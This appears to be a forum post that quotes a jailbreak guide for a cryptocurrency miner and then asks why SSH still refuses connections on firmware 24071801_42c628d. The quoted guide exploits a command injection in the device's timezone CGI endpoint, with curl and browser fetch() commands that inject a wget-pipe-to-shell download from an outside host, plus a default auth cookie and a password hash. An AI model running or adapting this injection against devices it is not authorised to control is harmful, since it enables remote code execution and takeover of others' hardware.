The function that calls set_timezone uses a small 64-byte buffer to store the timezone (of course with no boundary checks!), so we cannot fit in there a whole ass jailbreak script. However, it is enough to fit a small script that fetches the true jailbreak from the internet.
If you haven't changed the original password on the device (root), this cURL call will trigger a fetch to
https://xn--i29h.ge/n.sh, then execute it:
curl 'http://<miner IP>/timezoneconf.cgi' \
-b 'auth=ff0000ff4813494d137e1631bba301d5' \
--data-raw 'timezone=%3Bwget%20http%3A%2F%2Fxn--i29h.ge%2Fn.sh%20-O-%7Csh%3B'
Alternatively, you can also trigger it from your web browser's JavaScript console. Just log into your device, then paste:
await fetch("/timezoneconf.cgi", {
"body": "timezone=" + encodeURIComponent(";wget http://xn--i29h.ge/n.sh -O-|sh;"),
"method": "POST"
});
The payload has comments, so feel free to check it, but it:
- Changes the admin user password to admin. The original password hash is $5$1N6rEpvUXco$0QAASdP5iZRPWxgmAZQkTC0FM8GGw6L7HnprqT7Ll72 which I've not cracked.
- Generates a new ED25519 host key.
- Creates the jail environment the SSH daemon expects.
- Configures SSH as a init service.
- Launches the SSH service, so you don't have to reboot.
After running the command, you should be able to connect via SSH. Once SSH works, remember to configure again the correct timezone!
I have tried both using curl and JS console in the browser but my Nano 3 keeps refusing connection on port 22. I also tried to reboot and relaunch the commands, but they don't work.
My firmware version is the following: 24071801_42c628d.
What's wrong?
Show Posts
